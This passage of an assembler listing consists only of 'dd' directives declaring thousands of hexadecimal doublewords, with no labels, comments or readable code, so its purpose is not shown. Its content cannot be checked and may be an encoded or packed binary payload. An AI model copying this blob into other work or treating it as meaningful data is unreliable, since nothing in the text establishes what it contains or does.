3528E950h, 9E0960F8h, 0EE084376h, 80E92523h dd 459C35D0h, 543A6858h, 2FE96742h, 90FAC3EDh, 582478BCh dd 0C9028B0Fh, 0EAED88Ch, 0B14184BDh, 1092F853h, 0F6024ACEh dd 0CC680D6h, 0F187EDE0h, 5B799695h, 2F21C656h, 534FC8E6h dd 5C8D6B44h, 0B8CB8CEBh, 0EA9026F4h, 584CC2F2h, 0AE8850C2h dd 0ED596C40h, 0B84DA4D5h, 0B24840F9h, 0B52DFEC6h, 0BC82225h dd 0DCC1E09Ah, 5D32054h, 0A1F81CD6h, 2B3CC10h, 0E78F0F4Eh dd 0A5E7F624h, 29901A8h, 5650FB8Ah, 0BD8335F1h, 4A31321Dh dd 0FD1BA04h, 0B32B54C3h, 7F69053Dh, 15BD0A1Ah, 0DB898E69h dd 2937F6C8h, 0F769FD09h, 0AE2309D6h, 1183A41Ch, 0EC39DDEFh dd 96CBD7F5h, 0FB00775Bh, 15071E1Bh, 561B3AEDh, 13B1D832h dd 0F8544B2Ch, 0A62F7D50h, 0A5995B60h, 0BA099D5Bh, 56B62722h dd 7952E74h, 21D961EBh, 0A42EBB37h, 2E1EDD8Dh, 0C30DF98Ah dd 0B901EF8Bh, 5424125Bh, 5E422668h, 0B947C23Ah, 1737CE20h dd 0E12AF75Ah, 0FB98E7D5h, 1093FF3h, 0DFC791E9h, 2C50629Eh dd 0B9AAFD34h, 942CFB7Fh, 0FF5EA2E0h, 0FF08C832h, 83F68A0Fh dd 0D6A938E3h, 48262357h, 16CF00F9h, 0EA81143Dh, 0F72431A1h dd 3B366E6Ah, 0B534E5B7h, 80E4A40Dh, 1F7C7017h, 0F16F60C9h dd 0A6F97F89h, 4324FBD3h, 465F38C1h, 9EF1DFC2h, 0E65F4Bh dd 759C4220h, 913B766h, 3ABD03F4h, 0EA09E979h, 0DD4740EEh dd 0BF2EC0E8h, 45387BACh, 55FED8B0h, 0E96F180Bh, 0C06BC262h dd 817BB05Fh, 83FFC25Ah, 95665916h, 68D94FBFh, 73743AA9h dd 62EEC942h, 0F1B8FF31h, 799516DFh, 3D8F895Eh, 212276B2h dd 455EB8EBh, 0FD59DE82h, 8C225F37h, 75EA968Bh, 828A8E60h dd 3893640h, 0EAC05ECAh, 0C3B4FE02h, 4701DE44h, 1BAD6855h dd 18F073DCh, 0AD519D46h, 4F9942h, 3E685F54h, 5E950570h dd 0E7F6D2BFh, 0C213D840h, 0BEE9165Fh, 0D82DFE2Ah, 9A784C20h dd 325B79ADh, 4F145808h, 0BE0026E6h, 8140544Ah, 2D1BFBCAh dd 78D67E5Dh, 5027324h, 0AA61E9h, 0B9649CBAh, 0A59DC9F1h dd 4B06F00Bh, 0E199407Eh, 1B73484Ah, 4A870F2Dh, 8FD961D8h dd 0E9001FE9h, 0DBBD2A9Bh, 2AE34DD7h, 363064A1h, 1C34E679h dd 7E0DB83Ch, 10BE322Eh, 105F4870h, 0A14A1FB5h, 0C30B8972h dd 7F0609EDh, 7F0E136Dh, 2CC01139h, 5AE7B640h, 7C973AB8h dd 0F07D5237h, 0FB010962h, 2629BDE9h, 93BCC956h, 22FF4194h dd 217D8911h, 27F968C8h, 1059D5C2h, 492B0ECBh, 8CCCD402h dd 0BDC2EF4Fh, 17151F01h, 3E5C153h, 92393E20h, 0C795B5A3h dd 5A02672Ch, 5F4EE26Dh, 1021A02Fh, 7F1A5972h, 35FA5705h dd 878271BAh, 0B62D6A14h, 0E8FCB06Fh, 0D7B3A64Eh, 4F1B681Ch dd 0D2CF6BBEh, 0E007F856h, 270E1168h, 0C7554C3Ah, 0C8E90579h dd 72897FBh, 0D55684E8h, 0A009AA56h, 7F535502h, 2BD0E91Ah dd 0F880FD9Ah, 0B0DD425h, 7BD589Fh, 46ED2935h, 42C54AB6h dd 6C506DE9h, 3DF2544Bh, 2F74D980h, 0D1480149h, 0D40841A8h dd 27C959B2h, 60DB02EEh, 0D70C606Bh, 297EB72Bh, 0CBBD65Ah dd 80C51A40h, 0D16FD52Dh, 0CE8C060Dh, 5C97103Dh, 7460722Bh dd 24CB8EDBh, 1BE3D52Dh, 25F0EAADh, 24186231h, 5957C84Ah dd 0A0C56FC5h, 0ADA5FA4Dh, 0BD5B6F60h, 7845F420h, 0C9774A9h dd 3D1D1217h, 4CDC316Ah, 0B5481327h, 32FCF381h, 2984E418h dd 0BC85E92Ch, 385518A5h, 0FC2DDCDEh, 554BE21Bh, 0BA4290F4h dd 94075628h, 7D07AA58h, 67174619h, 0F33431F1h, 0BEF53A06h dd 4C4E14CFh, 432EF019h, 8D3D133Dh, 65EF2FE9h, 80B2EFB8h dd 5B49E9C2h, 85D16D75h, 0A48D44E9h, 731845FBh, 260C3E10h dd 76750132h, 0DA60FB05h, 8B16E3Bh, 0D8EA0705h, 0AB2FE99Eh dd 0A3EA4829h, 5CB52713h, 0AF85CC04h, 8CFE2912h, 96FAEF35h dd 0B1354B60h, 0ECA88CDh, 9C28059h, 5055817Dh, 3A303EB0h dd 2C0142ABh, 90DF5993h, 0CF34CD4Eh, 0A047F6BFh, 0F301A179h dd 0F9E47F5Eh, 0F920129Ah, 73CDBF2Ch, 8EF0296Bh, 0EA0CEA9Eh dd 4F05804Ah, 0D600CC2Dh, 9A0315CDh, 37454D2Eh, 0DC80ED3Ah dd 0EE89C120h, 0ABBA59E9h, 97CF293Bh, 0A3A7CA1Eh, 358E2E7Bh dd 7D4982D5h, 6557317Eh, 2CE63C12h, 4AD303FFh, 9AF1E756h dd 17DED4A5h, 499C5A17h, 6E221718h, 0C730061Ch, 0BA0F36EAh dd 0F373019Ah, 0E205E2B8h, 0BBB819AEh, 48904401h, 0C82771Dh dd 0B4A82C7Ch, 4947D649h, 43632BD8h, 3DA5F1C5h, 0D270313Ah dd 0ABBD2F55h, 0CB2FDF48h, 49A8C3D3h, 0A45C80Dh, 0F02EC30Bh dd 204A474Bh, 0B47CEAAh, 45365DE9h, 0CE470BE8h, 79F44F1h dd 1787B03h, 82FC17EEh, 0AB3024A7h, 9B8C7AECh, 14983D46h dd 519FB77Bh, 979B53Dh, 9FC2F14Ah, 82819099h, 7C1AD368h dd 0E8E9D533h, 5E0A5004h, 0ABB7E568h, 39E5F47Ch, 0B7A7A84Bh dd 0D979F263h, 0B42B62DCh, 853DC2DEh, 31468B54h, 53095DD0h dd 0BE70FCF6h, 327F16F7h, 0F28FC1A0h, 67AA04C3h, 8F89C9FFh dd 4B3F5251h, 0D9418CF9h, 0BDC9A6Ah, 0B02D2CE9h, 0C6796BBh dd 923531BAh, 2727E90Bh dd 1BE7C840h, 0DE5D820Bh, 0E3E3307Fh, 0E0622D7Dh, 0DFEF8B18h dd 178F80AEh, 13957BEh, 34CFB947h, 3FF1601Bh, 2346F1D2h dd 4B32A8FAh, 3C99AF5Ah, 1706AE2Ah, 4F6F2BE9h, 5AEAC35Bh dd 66E830A8h, 710F76BFh, 0E902D883h, 0D453C027h, 0D444726Eh dd 0C451F2Ch, 0F00BFB40h, 9243507Fh, 0EB02B201h, 0F91633C0h dd 2F77CBD8h, 0B540D738h, 0B73ED664h, 6BEF0056h, 0E91E2450h dd 970770DCh, 66C598F6h, 1DAD1DAAh, 0C2688755h, 0C05DA779h dd 3EE9EB31h, 0CA3C3A9Ch, 68E342EFh, 99DC582Bh, 0E922306Bh dd 2C655AFDh, 567F51A6h, 2B822126h, 0E37BEF8Ah, 2ACAA243h dd 97D61917h, 1D7E18F5h, 7324B5EAh, 37588007h, 6C4F6FCBh dd 3F9B210h, 324D0FDEh, 0E18FB7D1h, 9A17DD0h, 7CE99841h dd 0CFBFBA50h, 0ED8D2DD2h, 7F4997FCh, 8E2E3E5Bh, 7C696800h dd 0B058541Bh, 0E60D005Ch, 0F202B53h, 34B2E486h, 39213509h dd 6D3B8227h, 9BB900CCh, 1859FD68h, 80502D3Dh, 0AD5FB8EBh dd 0BFE8D295h, 5F55CE4Bh, 5157F6CAh, 16F1707Fh, 0BD98EEBDh dd 210B9FF4h, 0A516D1B0h, 0C3E44ED5h, 1386E95Bh, 91BB2A01h dd 4351CE23h, 6FD5416Ah, 20AE31DCh, 613D822h, 0B4BD150Fh dd 9D5B0840h, 6F894965h, 7F1909F8h, 6BE2B951h, 0C176F637h dd 89EC11E9h, 0C5613436h, 70B201E9h, 2EEBF280h, 81CE29E4h dd 76F0905Ah, 0FCE2E441h, 0C857A5E2h, 0C0AE083Eh, 240BA20h dd 29144275h, 10965AD6h, 0DB496EB2h, 0B57CBC4Ah, 0BF7817EAh dd 0F87ABBCDh, 0E7571A15h, 261C90B4h, 64FD304h, 794D7151h dd 0BD33B600h, 0BFBE5673h, 7CA60A0Eh, 3996F201h, 3BF3DDC1h dd 2E9931FAh, 263EA6BEh, 56C06012h, 130A7BFh, 0E781218Ah dd 406D1CC1h, 6B93F7EDh, 0D07A1725h, 3A3504ADh, 0BE85A37Fh dd 0F09861B8h, 11B75423h, 0DDE55C7Ch, 0FAB54AF3h, 0B6FFD235h dd 8A3898DEh, 0B35C95CCh, 30E0574Fh, 9E5D9F5Bh, 39522FD9h dd 3AF1D2D2h, 0A2ED8E43h, 5FB49AC1h, 1205E3C3h, 980519Ch dd 39CE1BAh, 1E3F5B08h, 473B85B6h, 71BBEB01h, 7D1EF6C6h dd 62F72514h, 0DA8A4212h, 2588995Fh, 0B1063E7Fh, 8144698Bh dd 814A42B2h, 0E788F413h, 0BC979A52h, 2119C4DFh, 20A5E63Eh dd 9184E6D5h, 0B32F1DFAh, 141D801Eh, 0C35FF328h, 0F6C68C5h dd 0EC452A8h, 0DB9BC166h, 9F0E067Fh, 5BFA58FAh, 34EFC1FAh dd 8129977h, 37A1585Fh, 1E340AF5h, 797A9031h, 4CE62046h dd 33054B5h, 36840449h, 2A41C3E9h, 5580F2F3h, 0EE1710BDh dd 83812C5Ah, 0A32883E9h, 6C2CAE5Fh, 50BE8901h, 84EF8091h dd 6485E295h, 3CD2951Dh, 7C04F8B0h, 54B0813h, 6F1644A2h dd 4190AF1Eh, 2C9BB041h, 260129F1h, 8B402D64h, 8180567Dh dd 0B7AC09EBh, 85686671h, 683B5FEFh, 71315EC3h, 5C0272BBh dd 0DEA5E2D9h, 104CC018h, 0E91825FAh, 0B8C4FFC9h, 0F75C01C4h dd 1D363530h, 97E16F39h, 0C23D813Eh, 3B62F15Dh, 0D3C2F31Ch dd 5578B668h, 1951D518h, 0BC62F086h, 45E2F90h, 57ACA94Bh dd 0E916D3F8h, 0F9FDFEC5h, 183D6B84h, 2C6C0C76h, 0B2B60D2h dd 62A1A2F1h, 7F461968h, 73820830h, 2D90984Fh, 2E932F91h dd 84CF81D0h, 6FC76613h, 3544FF1Ch, 0EAF3490h, 9B24BD6h dd 6478CD30h, 50665A13h, 7041CAABh, 0CBF48054h, 12277E90h dd 0C89DFC17h, 0BA013ABEh, 9E915E8h, 1E93949h, 3F4B2D51h dd 0CB31CE01h, 55590802h, 66B75DEEh, 382500EEh, 0EA813E3Ah dd 922F703Bh, 0A220D92Ch, 19F620F6h, 6409FEBDh, 2B71B176h dd 888A70AFh, 579557E6h, 0A08AE838h, 2F8CFF71h, 5F03B7E9h dd 0DF97CE88h, 0EDC3F3E0h, 0F9760FBh, 6832E920h, 828E465Bh dd 0F2A6A3F5h, 0C0ADD95Eh, 0B4D0EC7Eh, 686602AEh, 47757081h dd 24B6A424h, 266D4AFAh, 0C65527C7h, 0EB60492Dh, 2884092Ch dd 20E105B6h, 0EA296CB5h, 65EFAE3h, 5C43EB3Ch, 0E34DDEEAh dd 0FDC22DA9h, 78DF9312h, 0F866959Fh, 0F40B0498h, 5E14326Ah dd 0D68743B0h, 52FADAB3h, 5D669A75h, 5F7AF080h, 0F6EC2AB6h dd 0E8CA6D0Ah, 99A78B3Eh, 0A42AFE82h, 91D296BBh, 0E2528609h dd 0DF8FDF91h, 0E62376C6h, 0C308ECB7h, 175D686Fh, 0F3A3BF84h dd 0EFFB5293h, 32D3869h, 91B0E817h, 2B724BD2h, 9DB190CCh dd 50201B08h, 6817F1F7h, 36B53596h, 81F40828h, 2F59499h dd 23D76059h, 8F639E35h, 184B3CAAh, 2C319200h, 0CC14AE4h dd 0F12DE039h, 0B85D7830h, 9A9E900Bh, 8B0F094Eh, 0C55580D1h dd 0F229622Fh, 0C073825Dh, 9018FF53h, 5981309Eh, 84417280h dd 6F09C1C8h, 0A03BFF9Ch, 0B9E8A0E2h, 32C52510h, 882A6F2h dd 0CC3A16FFh, 0D09E4B5Ah, 0C0E1C8EDh, 7A3060E5h, 2A937C54h dd 32A6181Eh, 5D2F6D8Bh, 0AF27AFC6h, 577B92F6h, 0EB6FEEFCh dd 46B226CBh, 0BC010F88h, 0A384DAAFh, 1420BF2Ah, 1F836ECFh dd 0BF505B35h, 60E30A8h, 26243C6h, 0EE04F864h, 0EFB6BEEAh dd 400B9AAh, 0E6FF6A4h, 0C10CD0ECh, 2C2A08E6h, 0AB4CF972h dd 69F15ED8h, 8C3CEA3Bh, 24314FB7h, 1BBDBA2Fh, 5D276809h dd 5FD5B3B0h, 72B880h, 2D4C3020h, 1F2E2BBDh, 0D4034076h dd 5275377h, 0CD8290A6h, 5E0B9F31h, 744B8355h, 0B6AF843Ch dd 42F611D3h, 0BDE951C2h, 0D1021074h, 778C2CE5h, 8CA498F3h dd 0D790010Bh, 0FCD4FF1Bh, 0FFAC5E32h, 0E522FCD3h, 0DEEC0082h dd 10F06841h, 0C8423839h, 5F4D054Ch, 0C5EF2340h, 4A6EAC3Fh dd 3E0A99AEh, 0E909C6DBh, 0D87906A5h, 2D3E3508h, 8C0FBBC4h dd 0EA274D5Ah, 301090E7h, 24F4892Dh, 1A92035Bh, 0F1DBD6Bh dd 722C76E9h, 80203960h, 0D8F70D85h, 958FE940h, 2E548661h dd 0C8C29899h, 0B8EB287Ch, 1BA060F8h, 0E9545159h, 73A1975Eh dd 214BBF29h, 52DC9E9h, 0EED0D0ABh, 6093318h, 0D9F53154h dd 49FE26B6h, 493FFB5Dh, 1CF721ABh, 5EF024C0h, 0C0601284h dd 25C66878h, 4EF828E2h, 0CF5F22F8h, 6A5CE4A4h, 90E0CEEh dd 45F7C588h, 0BED0BE52h, 47DA4103h, 90B78544h, 8F08B5CBh dd 0D8295007h, 74492F68h, 0F5116316h, 0F7BE6D2Dh, 3E7A13A3h dd 8ABCE360h, 9852416Eh, 7F2512Ch, 137C1A70h, 0AA1B304Eh dd 3F080D50h, 66A14AE9h, 25C1F76Eh, 0F4144C17h, 0A3635ACCh dd 8EB64F3Eh, 60145F27h, 800DE927h, 33D7B870h, 31112755h dd 0ED0780DFh, 1A29F462h, 605E3C1h, 0F9EBE700h, 480720AEh dd 0F75BD909h, 173F43Bh, 2A7C451Ah, 7F43AD89h, 437D4010h dd 0B683A297h, 506A09CEh, 3C14C409h, 0F8F180B7h, 0ED36FE33h dd 0F5EEA154h, 0BDD0A42h, 0E456AAE9h, 6BB99061h, 0C9DCDD93h dd 0F644646Fh, 55511781h, 0D6E175DCh, 15C3B80Eh, 0D445A334h dd 0DABF27E6h, 9DD9D06h, 0AD4065DAh, 944ABAFAh, 0C5823A61h dd 6FD3F701h, 0DF333482h, 0EDCB498Eh, 0E90CC0FFh, 13D59CE7h dd 0B4BEE889h, 0D0AEF385h, 0E9DE29A9h, 0AC804A4Bh, 0F022CD80h dd 0A7859712h, 0E2DBEB5Bh, 0B65B1952h, 45A214C0h, 3FCC84D1h dd 28A143B8h, 0EF835533h, 0F9AC7294h, 0D040FEF4h, 0E74433C3h dd 0D83127E3h, 57028273h, 0F5297D68h, 5597491Eh, 1C40E314h dd 2762BCCDh, 0B58696FDh, 2F0239B6h, 0E96E756Dh, 85F2D084h dd 7553ADB3h, 65BB85CCh, 57212F01h, 0C358B46Ch, 5BC1CA40h dd 6FB182E0h, 2D07E3D8h, 2FC40B6Bh, 0B86482B1h, 0C09CE32Eh dd 0B91BF1BBh, 7EE91277h, 4B2A30Bh, 0C4D2F8D4h, 11281CC0h dd 0B81A4BF2h, 51EC10A6h dd 4E77EF4Fh, 8DA841E5h, 0CC32813h, 0E20627E8h, 18926815h dd 4AA412F1h, 0DE2C0223h, 0C15A070Dh, 4F8303E1h, 80C787F3h dd 50860E27h, 0AE800098h, 57040DE4h, 9EDCE90Ah, 2EE329AEh dd 3E004D65h, 43633456h, 8D0F1349h, 0AF42C46Dh, 5CCE93BDh dd 0A2C6258h, 0F86D1830h, 138DB867h, 8566E913h, 74D8FADCh dd 31525B1Ah, 9378D22Ah, 0D16EBFFh, 915022EFh, 5F0BC4DEh dd 0F90F095Bh, 1E5388FDh, 0D7C5625h, 7F6CDDABh, 7E041FB2h dd 0E42C13A5h, 12BDDDA6h, 0A304F707h, 2C20AB07h, 5AA35C83h dd 7261036h, 0FB1C8B12h, 29C54EA7h, 9604F9EBh, 5AE98BF0h dd 21C907F8h, 0A58E75C8h, 48247CDDh, 13AA4FA3h, 4B33F40Ah dd 34CA7710h, 0C523A9Fh, 4F5DE85Fh, 12D06AAh, 8B7D1E74h dd 4147D3B5h, 871510E9h, 50E58888h, 465BE837h, 20A490F3h dd 0E7811409h, 5841A538h, 307BB2A0h, 0BD1448ECh, 9C253E44h dd 312F5635h, 5298B81Fh, 795FEEA7h, 5174029Dh, 0A37C4F8Ch dd 5A3A4309h, 5CC0CB4h, 0BA326F5Fh, 22B03909h, 1DEC229h dd 0F99CE908h, 4BC35981h, 40AC5F35h, 107429D1h, 76B9694Bh dd 0CB2F0841h, 339A10ACh, 850CE916h, 1782AF16h, 40D8D152h dd 0F9255468h, 0B1495D5Ah, 0BF07D851h, 0F8246E7h, 0DA2F5580h dd 69853D4Dh, 8F120C3Eh, 0BF68C494h, 5494E3F3h, 1F273909h dd 57FA7C85h, 0D8D8FEC1h, 0D742973Eh, 0AC24F7Dh, 40E0D428h dd 36DD2F43h, 0A9D78924h, 0E9F33D12h, 0FB67929Fh, 4D94C1A2h dd 9D3F7E01h, 0BEE3E962h, 0C2277635h, 0E8252018h, 0D01DF79h dd 0D2F7D587h, 0DFB07F08h, 0A84DE668h, 0B7AC4BBAh, 828A75D1h dd 1388CC36h, 22FB976Ah, 70DFC333h, 0B752B0CDh, 5D04D9D6h dd 0DDD492E9h, 0E78EE2FFh, 41EF7D3h, 0F168E1EDh, 0F56A365h dd 828341CDh, 0FC4ED6F7h, 0BF578087h, 6F59089Fh, 0FC7B5A97h dd 0E02F12AEh, 0B91B87Fh, 7866FF05h, 0ED5F5AF5h, 0D29B3A9Dh dd 2E1806D3h, 90C0657h, 0BF4A598Ch, 0AF6398ABh, 2F803FE7h dd 0F1216DA0h, 0C1616B9Eh, 2C3A0BE9h, 445414BFh, 5C26E961h dd 0EB8BAF03h, 0E097161Fh, 0D7665CC3h, 9125A058h, 802D1A85h dd 0D10AD025h, 0F0DE03Eh, 8059A011h, 0A783EEC8h, 0A4C26029h dd 0CF1465EAh, 0DAD14850h, 68F8FE61h, 69E54D7Fh, 0B86133Fh dd 7BD4C3A2h, 31A19088h, 80F5ED16h, 0B9530534h, 49E9F37Dh dd 5C176606h, 659A8B8Fh, 0E18DBAC4h, 4881A72Bh, 727D1255h dd 7BEFF6EEh, 26C02B5Eh, 49BE0F66h, 0E9C4EFC8h, 0EEF8A4D1h dd 330DCC0Ah, 0DC25C41Ah, 43EA4ABh, 0AAB748E9h, 644C3AE2h dd 871F1814h, 951AD5Ah, 79B46DE9h, 2442AC15h, 7C9E02CCh dd 0C1DA5DCCh, 772729F8h, 0A2E6E80Ah, 69503D27h, 81E674A5h dd 28420C83h, 8F5E121Ch, 2D01E8B1h, 0F63B1801h, 591210EDh dd 0CC192C1Dh, 570E4E79h, 20FC564Ch, 0CB9864h, 0BFD2B27h dd 90C7890Fh, 963971BDh, 4F85F0CEh, 53FE8707h, 59369D68h dd 2D422560h, 66AD3ADBh, 48262D0Ch, 1CC4EAD9h, 0F97F99A1h dd 888B268Dh, 75E57FA5h, 0DD311A9Ah, 0D9D78C09h, 65B548BEh dd 12E00025h, 29742BBFh, 0ABC2225Fh, 0FF99709Eh, 40538D6Ah dd 100FDBEBh, 81E14F5Eh, 3763FD00h, 27597C6Ch, 1A80D687h dd 51FCE94Eh, 8BEBD995h, 8348DFFEh, 0DB832A8Ah, 0BFCD5B3Ch dd 6B017653h, 76CA3DE1h, 162D5330h, 791B40h, 2E8238C9h dd 0CB0901F0h, 0F488AAE9h, 8CF4A65h, 0FD2530E7h, 0E204581Ah dd 5E90F8ADh, 1C5BACD8h, 257CF068h, 5DFE577h, 1555DEBh dd 0A04E7194h, 91F08047h, 0E90C6D20h, 4E259A04h, 5997BE5Eh dd 2BC51567h, 0B3984A80h, 0CEC6067h, 3E9C61C2h, 0FEFE012Dh dd 0D0C249CCh, 0A997B9DDh, 0A8B6C46Bh, 25AC5EACh, 5BD806B2h dd 5E4B4B76h, 0CEB1E1B8h, 7EE22B59h, 4C21AE4Fh, 222ED8B9h dd 52725A13h, 98D2A951h, 0C192D976h, 343718D2h, 0F63E0C06h dd 0C25FBB25h, 0C0F45776h, 683C3802h, 5B07562h, 4EBF4EF4h dd 86682C6Ah, 946CE59Ah, 20E0F1A8h, 5B80151Ah, 1FB57951h dd 1666CD80h, 5D1B80ACh, 5BF85356h, 87D3F712h, 270017ACh dd 0E90BCB6Dh, 0C0CBFA1Bh, 0FEF1F233h, 30761626h, 0B91AFBC3h dd 2229F7C8h, 0C7D11940h, 0FF74695h, 16266AEDh, 0C82BD7A5h dd 917D946h, 91006D4Fh, 7D392DB9h, 0E71367E9h, 5A11B380h dd 3585E0C9h, 2A28DDCBh, 0C3E17AD9h, 0B1A0D67Ch, 3D25E90Fh dd 0FF34222Ch, 2C1C5E91h, 58360E41h, 0E2E915C2h, 0BE0B9158h dd 3A4E2Ch, 2D0CF6DBh, 31644877h, 0BCC0EE4Ah, 0B507CAE9h dd 9095CD44h, 91F57642h, 0D410DC1h, 0BFE87EFBh, 3F63888Bh dd 6854C9A0h, 0CB0A8A0Fh, 9546A464h, 1542B68Dh, 961E453h dd 1716607Fh, 7B02E671h, 0F5ED1D66h, 18D7CB8Bh, 840C8ABEh dd 82B63AFEh, 28D5B500h, 0B75966EAh, 0CBDBA460h, 0E32B5E81h dd 7E2D7CAFh, 5BAC7418h, 0E9F808EAh, 28BA335Ah, 0D76F3E35h dd 5EF003FCh, 0BC29C29h, 1D2FD65Bh, 95CD8955h, 445F1455h dd 34C7114h, 325ACC67h, 2E99414Ah, 0ACFCDE4h, 57E254B8h dd 728704C8h, 4CA3B0B5h, 6D0C7B71h, 0C1E321E9h, 0AA02EEE6h dd 41D50BC9h, 73D127B2h, 8770CA5h, 0D33FA933h, 3E571681h dd 0FB538BF6h, 2A55BC4Fh, 0A6A110E6h, 0BD856E48h, 66A4020Bh dd 0FB681236h, 0FECB350Fh, 7D4801B3h, 776AC305h, 6F82EA67h dd 7C8B5D82h, 9E23257h, 8C7E00C6h, 2746250Ah, 0C477E7D1h dd 26FD95CAh, 0FA25845Bh, 0F75F4EFDh, 5F3C3AD7h, 7EA63FBDh dd 486C80B5h, 1F602025h, 1740525Dh, 81F8C04Ch, 263FDACAh dd 0F2007682h, 1A591075h, 0BD2B33E9h, 55438EC8h, 4B273EB2h dd 6E50D9B5h, 0C675E4CBh, 0DB15287Bh, 6AFAB5D4h, 47C525F2h dd 37FCD528h, 5F92E83Dh, 0FD334EF1h, 0BBC4A2E5h, 0FDD7C68Ah dd 42AB882Ch, 0C96AD5E4h, 2820D65Dh, 168000D7h, 47E92272h dd 6E95FEE7h, 4E5FB06Dh, 881189A4h, 27C26F12h, 0E5020C56h dd 7F952A5Eh, 95B0960h, 0C365030h, 60D12319h, 3FB46816h dd 4E906C97h, 0A00F2E98h, 0C163271Eh, 52861E1h, 117E92Eh dd 6A933194h, 4F61C141h, 979911C8h, 8287BB59h, 0CFE4C3FEh dd 0D14788EEh, 1AD0284Fh, 48836D0Ah, 17386048h, 4B8AFA4Eh dd 0E70EA4Ah, 0C95AE1E9h, 32FF2168h, 0CD227FA5h, 1C11919Dh dd 80FBDB30h, 584EC388h, 0C503C3ABh, 895A5BB1h, 2EC28F4h dd 7C16DE95h, 0D82F9C5Bh, 30B0920Ah, 2918A912h, 0DE312EF5h dd 4B688120h, 3B1F2923h, 0EEF61CC1h, 0ECACBF04h, 0DE1A0F96h dd 0F8E49DC4h, 69C2B4DAh, 0DD9668CDh, 6F88340Fh, 1339C01Dh dd 34A86E9h, 738F74C8h, 5EA2F647h, 290A93B5h, 56970CE6h dd 0C83528Fh, 7D48BDD0h, 0A73E1DC7h, 35C5D7E7h, 8FBB5B92h dd 0B445A96h, 5700D4DDh, 0AB5B6968h, 0BB5F1F0Dh, 0F22F0D6Dh dd 0CEE93E12h, 0D9E09912h, 4E3A125Ah, 24F6BE53h, 938C463h dd 3BB96602h, 400F0151h, 0E3A2139h, 0C1496F32h, 25D05EFh dd 64413F50h, 444E7FE4h, 0E62F38E1h, 50BC96C5h, 1C290B97h dd 514A86D0h, 9400B3B6h, 0C1745D62h, 119D03E0h, 126FBC00h dd 5087605Ch, 0B341468h, 0A0AFBEBFh, 5ECB55A5h, 0E319A036h dd 2F870FF8h, 0D0790BDFh, 3A521892h, 0AAB598BCh, 7039C402h dd 0B9F3DF7Dh, 6EDC186h, 180B09EAh, 0E800481Dh, 95B273ECh dd 0EAFD60B5h, 0EC2FE11Ah, 1246B107h, 4013CE6Ah, 5971BED0h dd 7B902379h, 8CB8103h dd 0B067BC22h, 40B39F3h, 0E99366B8h, 0EE74B4BBh, 84353106h dd 90E4674h, 4CDD1B8Ch, 2C102FF6h, 64E0680Bh, 7A41437Ah dd 0BF1A45FCh, 0A7C9915Ch, 0C3445358h, 0E9A6F4ABh, 71427A32h dd 0ED565DC2h, 521F1A2Ch, 0F515E889h, 0DE40AB3Ah, 5B818891h dd 0ED681D3Fh, 4C774442h, 0D06E9D90h, 0D9B05D7Fh, 0D99263EAh dd 81565A49h, 0FA87D7F7h, 58C9A4CBh, 951A9664h, 76BFC2F8h dd 2BF953BBh, 20BD6EF5h, 8903EB1Eh, 0DFF694C0h, 0A513DA60h dd 49E0FAFCh, 0E940582Fh, 0CC629D0Eh, 3EC0F3FFh, 92FD9FA4h dd 876E9758h, 0E4647476h, 523EDA97h, 8608D05Fh, 6E922508h dd 2638B401h, 1C85100Ch, 5D2B2C20h, 0BB209A5Eh, 5445DB02h dd 62EE0142h, 4A1CD8EDh, 9178EF53h, 9C6BE90Ch, 1D25E97Fh dd 0E2565930h, 2C03FD14h, 77D99267h, 68A5787Ch, 824AB471h dd 2F674D7Fh, 0E1A9B4DFh, 1910CB62h, 0C6800BD2h, 8525601h dd 0BF01D1A5h, 44066D6Ch, 24047770h, 3A19877Fh, 887E094Eh dd 3000457Dh, 0D8E9C9CCh, 0DD1184Ah, 0F07FD5B4h, 0B94AB383h dd 41CFD1E0h, 9EA17EF1h, 0D7255FE2h, 0FAE1AA05h, 4E48CF22h dd 5B8F2F10h, 0EF4F34B8h, 5AC78C56h, 0DE6F2282h, 0CD2DB91Fh dd 0B6042114h, 11ED809Eh, 76E1B484h, 18CAD7Eh, 2D774D79h dd 3560D2F7h, 0E5EDBF28h, 0DBE90DB0h, 0E5F9BFC6h, 8770CFEDh dd 2BDD9D5Dh, 53B00E3Bh, 8BF91A1h, 47E02A2h, 573EF5B8h dd 0D321823Dh, 56E849E9h, 85F9E971h, 2613DE3Dh, 4B829BAh dd 0E729FFECh, 48D6DE02h, 0E45B661Ch, 709F2568h, 0D580DA72h dd 0E45CC06Bh, 16C6187Bh, 25685670h, 9EDE794Fh, 1B14572h dd 783C2ABBh, 398C7E12h, 1381F853h, 0EA45F358h, 0B23F77B5h dd 39AEC4BCh, 18B05F0Ah, 6853E0D3h, 0D903F709h, 3FAE8432h dd 1057A912h, 0BA000B17h, 2FF930E8h, 6E390405h, 8D01F54Fh dd 112A310h, 7422DD0h, 6FFB8055h, 980CC54Bh, 1EEF0EB8h dd 0CAC0615Eh, 549D4CEDh, 2348FBDh, 5071220Ch, 0DD0802C4h dd 0D589E53Eh, 5D2707D2h, 0C228DE3Dh, 6FEC3883h, 0B06AAB25h dd 0A01058C8h, 0D7D0567Ah, 2289FBE8h, 0A34BBD7Ah, 0B74CFED6h dd 78E225F6h, 806C5EF7h, 23CC3A7Dh, 812E4B8h, 0C2F00A37h dd 6DEA0681h, 0FA1AC650h, 56078D09h, 5F28D775h, 21C3408h dd 2942E914h, 4120C5E4h, 0F7013E6Eh, 0BEE4689Ah, 87B9395Ch dd 7EA06660h, 71EEEB60h, 0FC314ABFh, 9B049EE8h, 0DDFB6F72h dd 5F283093h, 54E13A02h, 57308C0Fh, 5B5F5642h, 3C3D0ED0h dd 56C8A210h, 1C22748h, 584AFE55h, 0F1B55FFEh, 0F855E940h dd 14FC5B36h, 0DD108EE4h, 3F20492Eh, 0A7979A0Ah, 611EC2FBh dd 0AEF82711h, 0D5F72553h, 2902EB70h, 8EE96F08h, 9A54DC22h dd 0D977CDD9h, 32E961C2h, 7377C226h, 455FA5F7h, 0A1B41297h dd 2BB73E2Dh, 8377FED3h, 48650306h, 2895DEAh, 0C15EC3A3h dd 1B530E30h, 65596858h, 900C3B60h, 0FD8A0F3Fh, 4B776D92h dd 60CF8112h, 8C9E28EAh, 9806940h, 585343EBh, 0BBDDA57h dd 0F51035B9h, 89C9A480h, 198196Dh, 17AE8B5Ah, 7990E879h dd 16E68817h, 4D1438AAh, 2F8B2240h, 5B5C5ADFh, 319655CBh dd 59E8E8BDh, 1D66B5EBh, 0C2FAF6B8h, 1E4DBF80h, 8B3F1073h dd 0ABF15626h, 0AD685200h, 0B0607A2Ah, 28CB2740h, 5C92C859h dd 0E84BCDECh, 